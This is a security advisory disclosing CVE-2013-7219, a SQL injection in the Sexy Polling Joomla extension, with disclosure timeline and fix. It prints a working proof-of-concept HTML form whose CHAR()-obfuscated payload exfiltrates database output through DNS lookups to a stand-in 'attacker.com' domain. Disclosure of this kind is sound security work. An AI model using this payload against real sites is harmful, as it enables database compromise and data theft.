SQL Injection in Sexy Polling Joomla Extension

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxxx>]

Advisory ID: HTB23193
Product: Sexy Polling Joomla Extension
Vendor: 2GLux
Vulnerable Version(s): 1.0.8 and probably prior
Tested Version: 1.0.8
Advisory Publication:  December 26, 2013  [without technical details]
Vendor Notification: December 26, 2013 
Vendor Patch: January 8, 2014 
Public Disclosure: January 16, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-7219
Risk Level: High 
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Sexy Polling 
Joomla Extension, which can be exploited to perform SQL Injection attacks.


1) SQL Injection in Sexy Polling Joomla Extension: CVE-2013-7219

The vulnerability exists due to insufficient validation of "answer_id[]" HTTP 
POST parameter passed to "/components/com_sexypolling/vote.php" script. A 
remote unauthenticated attacker can execute arbitrary SQL commands in 
application's database.

The following exploitation example is based on DNS Exfiltration technique and 
may be used if the database of the vulnerable application is hosted on a 
Windows system. The PoC will send a DNS request demanding IP addess for 
`version()` (or any other sensetive output from the database) subdomain of 
".attacker.com" (a domain name, DNS server of which is controlled by the 
attacker):


<form action="http://[host]/components/com_sexypolling/vote.php"; 
method="post" name="main">
<input type="hidden" name="answer_id[]"  value="',(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))),'','','','','')
-- ">
<input type="submit" id="btn">
</form>


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Solution:

Update to Sexy Polling 1.0.9

More Information:
http://2glux.com/forum/sexypolling/sexy-polling-security-vulnerability-notification-t2026.html

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References:

[1] High-Tech Bridge Advisory HTB23193 - 
https://www.htbridge.com/advisory/HTB23193 - SQL Injection in Sexy Polling 
Joomla Extension.
[2] Sexy Polling Joomla Extension - http://2glux.com/projects/sexypolling - 
Polling for Joomla.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's 
proprietary web application security assessment solution with SaaS delivery 
model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.